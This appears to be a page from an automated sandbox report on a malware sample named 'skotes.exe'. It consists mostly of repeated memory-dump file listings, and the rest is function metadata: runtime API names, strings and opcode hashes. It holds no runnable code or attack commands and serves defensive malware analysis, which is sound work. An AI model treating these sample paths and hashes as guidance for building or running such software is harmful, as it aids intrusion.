Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: 657bd5c47d81102cee16b3af5af04fffdf87c030ab8963462408c72c62325e85
Instruction ID: b79b896c5eebfd6de331a1e2336642310d7ce9cdf63ad0d7fff0c6057ae78d43
Opcode Fuzzy Hash: 657bd5c47d81102cee16b3af5af04fffdf87c030ab8963462408c72c62325e85
Instruction Fuzzy Hash: D3E0DF31900554ABCB09FB20C4657ADBB61BFC0360B00832AE4A6132E3CF346E46CB81

Function 00A0DFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 00A0DFE8

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1793179972
Opcode ID: 9416c6105ce3af26e0470f73686c8a445ce95fb9fe2ea6052e56fe87afc663ee
Instruction ID: 70f24b982680520d8cf0ed0ec3ed0335f28f4f91d6b6ac24f355179d3d4f6553
Opcode Fuzzy Hash: 9416c6105ce3af26e0470f73686c8a445ce95fb9fe2ea6052e56fe87afc663ee
Instruction Fuzzy Hash: A4219D7164420DAFEB30EF65AE80E6BB7ADAF003A47184914F828961D1E771FC50A6A0

Function 00A01704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00A01764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00A017AF

Strings

pContext, xrefs: 00A017A7

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: a3123a12ec19b257ae5ccc2a77f07347f0306b89acbfc4293c8ab546a24a05cf
Instruction ID: d8ac63d39cd0714e41a8aa940345152e53c69323276c37554e3d2877f66b360f
Opcode Fuzzy Hash: a3123a12ec19b257ae5ccc2a77f07347f0306b89acbfc4293c8ab546a24a05cf
Instruction Fuzzy Hash: 2911D636B002189BCF15EF58E4859ED7769AF84360B154465E912973C2DB74DD02CFD0

Function 009FB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 009FB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 009FB961

Strings

pContext, xrefs: 009FB959

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 12b63acc6281a8ac382d61243fca5ea2916a1778d4b7568ffe2a2e5d0a579464
Instruction ID: 0001e08497449d9ca6e973e3a810f68b53391479c2298435b33b1dafa5461989
Opcode Fuzzy Hash: 12b63acc6281a8ac382d61243fca5ea2916a1778d4b7568ffe2a2e5d0a579464
Instruction Fuzzy Hash: 54E0D139B0011C67CF05F769F845C9DB77D5EC47147054125E611A3391DB709E46C6D0

Function 009F34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 009F34FC

Strings

version, xrefs: 009F34E1
pScheduler, xrefs: 009F34F4

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: e0565093d3a408bd77cfc6f5a0e9e8905bd2e37c18c213e74401e6f1fae98835
Instruction ID: a23732e62cf2aa9b16a5cbe063c7e4b5badd5c0258a05c457301167ea252c75a
Opcode Fuzzy Hash: e0565093d3a408bd77cfc6f5a0e9e8905bd2e37c18c213e74401e6f1fae98835
Instruction Fuzzy Hash: 2DE0863494020CB6CF26FB69E847BEC776CAB20709F04C531FA50510A19BB897C8CB91

Analysis Process: YIFtngJ.exePID: 4464, Parent PID: 1900COMMON

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.5%
